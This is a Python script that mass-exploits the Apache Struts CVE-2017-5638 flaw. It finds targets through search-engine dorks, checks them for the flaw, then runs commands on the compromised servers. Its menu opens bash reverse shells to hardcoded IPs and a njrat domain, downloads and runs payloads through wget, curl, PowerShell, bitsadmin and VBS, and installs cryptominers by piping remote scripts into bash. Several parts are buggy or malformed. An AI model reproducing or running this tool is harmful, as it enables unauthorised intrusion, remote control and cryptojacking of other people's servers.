# -*- coding: utf-8 -*-
import time
from dorker import *
import requests
from exploit import *
from multiprocessing import Pool, freeze_support
import string


class bcolors:
    HEADER = '\033[95m'
    OKBLUE = '\033[94m'
    OKGREEN = '\033[92m'
    WARNING = '\033[93m'
    FAIL = '\033[91m'
    ENDC = '\033[0m'
    BOLD = '\033[1m'
    UNDERLINE = '\033[4m'


WANIP = requests.get('https://api.ipify.org').text
DEFAULTPORT = 3000
CMDS = {
    'DETECTOS': 'cat /etc/*-release | sed -n 1p',
    'REVERSE_SHELL_LINUX': 'bash -i >& /dev/tcp/' + WANIP + '/' + str(DEFAULTPORT) + '0 > &1',
    'PYHTON-VERSION': 'python -V',
    'PERL-VERSION': 'perl -V',
    'RUBY-VERSION': 'ruby -V'
}

DORKS_GOOGLE = ['.action','Struts Problem Report','file.action','page.action', 'filetype:action', 'intitle:"Struts Problem Report"', 'intitle:"Struts Problem Report" intext:"development mode is enabled."'
                'inurl:"login.action","ext:action"']

DORKS_BING = ['inurl:action',
              'intitle:"Struts Problem Report"', 'InURL:"login.action"']

DORKS_YAHOO = ['intitle:"Struts Problem Report" intext:"development mode is enabled."',
               'inurl:.action"', 'inurl:login.action"']
DORKS_BAIDOO = ['inurl:(admin.action)', 'inurl:(login.action)',
                'inurl:(*.action)']

URLS = {'GOOGLE': [], 'BING': [], 'BAIDOO': [],
        'YAHOO': [], 'ALL': [], 'VULS': []}
VULS_INFO = {}


vuls = []
toremove = []
vulinfo = {}
auto = False

#Functions
def getDomain(url):
    spltAr = url.split("://");
    i = (0,1)[len(spltAr)>1];
    dm = spltAr[i].split("?")[0].split('/')[0].split(':')[0].lower();
    print dm

def readURLS():
    urlList=[]
    with open("database.log","r") as fp:
        for urlList in fp:
            urlList.append(domain)
    return urlList

def saveURL(url):
    urlArr=readURLS()
    dmArr=[]
    for urls in urlArr:
        dmArr.append(getDomain(urls))  
    if not getDomain(url) in dmArr:
        with open('database.log','a') as fp:
            fp.write(url+'\n')

def checkIfRunning(OS):
    if(OS=='Windows'):
        CMD = 'tasklist | find /i "miner.exe" || echo false'
    else:
        CMD = 'ps cax | grep bash | grep -o '^[ ]*[0-9]*' && echo "OK" || echo "NOK"'

    if 'not running' in response:
        return

def downloadFile(url,opt):
    file = url.rsplit('/', 1)[1]
    if opt == 1:
        #Bitsadmin (Windows)
        CMD =  'cmd.exe /c "bitsadmin /transfer myjob /download /priority high %s c:\%s&start %s"'%(url,file,file)
    elif opt == 2:
        #Powershell (Windows)
        CMD2 = 'PowerShell (New-Object System.Net.WebClient).DownloadFile("%s","%s");Start-Process "%s"'%(url,file,file)
    elif opt == 3:
    #WSH method (Windows)
        CMD3 = 'cmd.exe /c "@echo Set objXMLHTTP=CreateObject("MSXML2.XMLHTTP")>a.vbs &@echo objXMLHTTP.open "GET", \
    "%s",false>>a.vbs&@echo objXMLHTTP.send() \
    >>a.vbs&@echo If objXMLH TTP.Status=200 Then \
    >>a.vbs&@echo Set objADOStream=CreateObject("ADODB .Stream")>>a.vbs&@echo objADOStream.Open \
    >>a.vbs&@echo objADOStream. Type=1 \
    >>a.vbs&@echo objADOStream.Write objXMLHTTP.ResponseBody \
    >>a.vbs&@echo objADOStream.Position=0 \
    >>a.vbs&@echo objADOStream.SaveToFile "%s" \
    >>a.vbs&@echo objADOStream.Close>>a.vbs&@echo Set objA DOStream=Nothing \
    >>a.vbs&@echo End if \
    >>a.vbs&@echo Set objXMLHTTP=No thing>>a.vbs&@echo Set objShell=CreateObject("WScript.Shell") \
    >>a.vbs&@echo objShell.Exec("%s") \
    >>a.vbs&cscript.exe a.vbs"'%(url,file,file)
    #FTP method (Windows)
    CMD4 = 'cmd.exe /c "@echo open FTPIP>script.txt&@echo binary>>script.txt& @echo get /%s>>script.txt&@echo quit>>script.txt&@ftp -s:scrip t.txt -v -A&@start %s"'%(file,file)
    #WGET method (Linux)
    CMD5 = 'wget %s;chmod +x %s;./%s'%(url,file,file)
    #CURL method (Linux)
    CMD6 = 'curl %s --output %s;chmod +x %s;./%s'%(url,file,file,file)



DOWNLOADEXECMINER = 'cd /tmp; wget -O - https://altlinux.pkgs.org/sisyphus/classic-x86_64/xmrig-2.4.4-alt1.x86_64.rpm.html| rpm2cpio - | cpio -idv; ./tmp/usr/bin/cgminer'
FINDMINER =  'which cgminer && echo "File found" || echo "File not found"'

def main():
    opts = raw_input("Menu\nSelect search option:\nd - dork\nf - file\na - auto\n>")
    if opts == "d":
        last = 0
        auto = False
        pages = int(raw_input("Pages> "))
        linux = 0
        windows = 0
        process = 2
        # Dorking google
        for idx, dork in enumerate(DORKS_GOOGLE):
            print "\n[*]Google..." + str(idx)
            print "[*]Dorking\n[*]Dork: [%s] \n[*]Pages[%s] \n[*]Process[%s]" % (dork, pages, process)
            URLS['GOOGLE'].extend(dork_scanner(dork, pages, 2, 0))
        print "\n[%d]urls found" % (len(URLS['GOOGLE']))

        # Dorking bing
        for idx, dork in enumerate(DORKS_BING):
            print"\n[*]Bing..." + str(idx)
            print "[*]Dorking\n[*]Dork: [%s] \n[*]Pages[%s] \n[*]Process[%s]" % (dork, pages, process)
            URLS['BING'].extend(dork_scanner(dork, pages, 2, 1))
        print "\n[%d]urls found" % (len(URLS['BING']))

        # Dorking Baidoo
        #for idx,dork in enumerate(DORKS_BAIDOO):
        #    print"\n[*]Baidoo.."+str(idx)
        #    print "[*]Dorking\n[*]Dork: [%s] \n[*]Pages[%s] \n[*]Process[%s]" % (dork, pages, process)
        #    URLS['BAIDOO'].extend(dork_scanner(dork, pages, 2, 2))
        #print "\n[%d]urls found" % (len(URLS['BAIDOO']))
        # Dorking yahoo
        for idx, dork in enumerate(DORKS_YAHOO):
            print"\nYahoo.." + str(idx)
            print "[*]Dorking\n[*]Dork: [%s] \n[*]Pages[%s] \n[*]Process[%s]" % (dork, pages, process)
            URLS['YAHOO'].extend(dork_scanner(dork, pages, 2, 3))
        print "\n[%d]urls found" % (len(URLS['YAHOO']))

        # Merging all
        URLS['ALL'].extend(URLS['GOOGLE'])
        URLS['ALL'].extend(URLS['BING'])
        URLS['ALL'].extend(URLS['BAIDOO'])
        URLS['ALL'].extend(URLS['YAHOO'])
        print '\n[%d]Total urls found' % (len(URLS['ALL']))

    elif opts == "f":
        auto = False
        linux = 0
        windows = 0
        path = raw_input("Path> ")
        with open(path, "r") as fp:
            for line in fp:
                line = line.replace("[URL]", "").replace(
                    "[OS]Linux OS", "").replace("[OS]Windows OS", "").strip()
                if not "line" in URLS['ALL']:
                    URLS['ALL'].append(line)

    elif opts == "a":
        linux = 0
        windows = 0
        urls = []
        path = "vuls.txt"
        process = 30
        auto = True
        with open(path, "r") as fp:
            for line in fp:
                line = line.replace("[URL]", "").replace(
                    "[OS]Linux OS", "").replace("[OS]Windows OS", "").strip()
                if not "line" in urls:
                    urls.append(line)

    else:
        print "Invalid option"
        main()

    print '[*]Checkin for CVE-2017-5638 vulnerability'
    pool = Pool(processes=30)
    for vul, url in pool.imap_unordered(vul_check, URLS['ALL']):
        print "[*]Checking", url, " - ", bcolors.OKGREEN + '[VUL]' + bcolors.ENDC if vul else bcolors.FAIL + '[NOT VUL]' + bcolors.ENDC
        if vul:
            URLS['VULS'].append(url)

    print '[*]Get data OS'
    for url, data in pool.imap_unordered(get_data,  URLS['VULS']):
        if not data == "err":
            VULS_INFO[url] = data

    if auto:
        for url in VULS_INFO.iteritems():
            if data['OS'] == "Linux OS":
                ip = "186.206.168.81"
                port = raw_input("port>")
                cmd = "bash -i >& /dev/tcp/" + ip + "/" + port + " 0>&1"
                out = exploit(url, cmd)

                try:
                    print "\n[output]" + out
                except:
                    pass

    else:
        for url, data in VULS_INFO.iteritems():
            if data['OS'] == "Linux OS":
                linux += 1
            elif data['OS'] == "Windows OS":
                windows += 1
            else:
                del VULS_INFO[url]

        print '\n[%d]Vulnerables URLs' % (len(VULS_INFO))
        print '[*]Windows: %d \n[*]Linux: %d' % (windows, linux)

        print ('\n[*]Listing vuls')
        cont=0
        for url, data in VULS_INFO.iteritems():
            cont+=1
            print '\n-----------'+str(cont)+'----------------' + bcolors.BOLD + bcolors.OKBLUE + '\n[URL]' + bcolors.ENDC + url + \
            bcolors.BOLD + bcolors.OKBLUE + '\n[OS]' + bcolors.ENDC + data['OS'] + \
            bcolors.BOLD + bcolors.OKBLUE+ '\n[VERSION]' + bcolors.ENDC + data['DISTRO'] + \
            bcolors.BOLD + bcolors.OKBLUE + '\n[IP]' + bcolors.ENDC + data['IP'] + \
            bcolors.BOLD + bcolors.OKBLUE + '\n[USERNAME]' + bcolors.ENDC + data['UNAME'] + \
            bcolors.BOLD + bcolors.OKBLUE + '\n[PRIVILLEGE]' + bcolors.ENDC + data['PRIV']
            with open("vulsl.txt", "a") as fp:
                fp.write('[URL]' + url + ' [OS]' + data['OS'] + "\n")

        print "\nExploiting"
        for url, data in VULS_INFO.iteritems():
            os = data['OS']
            print 'Exploiting [%s][%s]' % (url, os)

            ans = 1
            while (True):
                print '\n1 - Execute cmd\n2 - Detect python/perl\n3 - Reverse shell\n4 - Download/Exec[Linux]\n5 - Download/Connect(natcat)[linux]\n6 - Skip vul url\n7 - Exit\n8 - Miner'
                ans = raw_input('Option: ')
                if ans == '1':
                    if os == "Linux OS":
                        cmd = raw_input("Linux command> ")
                        if cmd == "pingall":
                            ip = raw_input("ip[xxx.xxx.xxx]> ")
                            cmd = 'echo $(seq 254) | xargs -P255 -I% -d" " ping -W 1 -c 1 ' + \
                                ip + '.% | grep -E "[0-1].*?:"'
                        if cmd == "os":
                            cmd = "lsb_release -a"
                        if cmd == "speed":
                            cmd = "curl -s http://187.20.134.178:8082/dl/speedtest.py | python -"

                        out = exploit(url, cmd)
                    else:
                        cmd = raw_input("Windows command> ")
                        out = exploit(url, cmd)
                    try:
                        print "\n---------Output-----------\n%s\n-----------End------------------" % (out)
                    except:
                        print "\n---------Output-----------\n%s\n-----------End------------------" % (
                            out.encode('utf-8', errors='replace'))

                elif ans == '2':
                    cmd = "python -V"
                    out = exploit(url, cmd)
                    if "Python 3" in out or "Python 3" in out:
                        print "\n[*]" + out
                    else:
                        print "\n[*]python undetected"

                    cmd = "perl -V"
                    out = exploit(url, cmd)
                    if "version" in out:
                        print "\n[*]Perl detected"
                    else:
                        print "\n[*]Perl undetected"
                elif ans == '3':
                    ip = raw_input("ip (d - to default)> ")
                    if ip == "d":
                        ip = "njrat.servehttp.com"
                    port = raw_input("Port> ")
                    cmd = "bash -i >& /dev/tcp/" + ip + "/" + port + " 0>&1"
                    out = exploit(url, cmd)

                elif ans == '4':
                    if os == "Linux OS":
                        url = raw_input("Url> ")
                        file = url.rsplit(',', 1)[1]
                        print "[*]Downloading file [%s] and executing" % (file)
                        if ".py" in file:
                            cmd = 'wget ' + url + ";chmod +x " + file + \
                                ";chmod 777 " + file + ";python " + file
                        elif ".pl" in file:
                            cmd = 'wget ' + url + ";chmod +x " + file + \
                                ";chmod 777 " + file + ";perl" + file
                        elif ".rb" in file:
                            cmd = 'wget ' + url + ";chmod +x " + file + \
                                ";chmod 777 " + file + ";ruby" + file
                        else:
                            cmd = 'wget ' + url + ";chmod +x " + file + ";chmod 777 " + file + ";./" + file
                        out = exploit(url, cmd)
                        print "\n[output]" + out

                    else:
                        print "[*]Option only for linux"

                elif ans == '5':
                    if os == "Linux OS":
                        ip = raw_input("IP>")
                        port = raw_input("PORT>")
                        cmd = "wget http://sourceforge.net/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gz;"
                    else:
                        cmd = 'powershell -Command "(new-object System.Net.WebClient).Downloadfile(\"http://186.206.172.189:8082/dl/win.exe\", \"win.exe\");Start-Process(\"win.exe\")" %s'
                    out = exploit(url, cmd)
                    print "\n[output]" + out

                elif ans == '6':
                    print "Skiping"
                    break

                elif ans == '7':
                    sys.exit()

                elif ans == '8':
                    cmd = 'wget -O - https://transfer.sh/xo3oM/min.sh | bash'
                    out = exploit(url, cmd)

                else:
                    pass


if __name__ == '__main__':
    freeze_support()
    main()
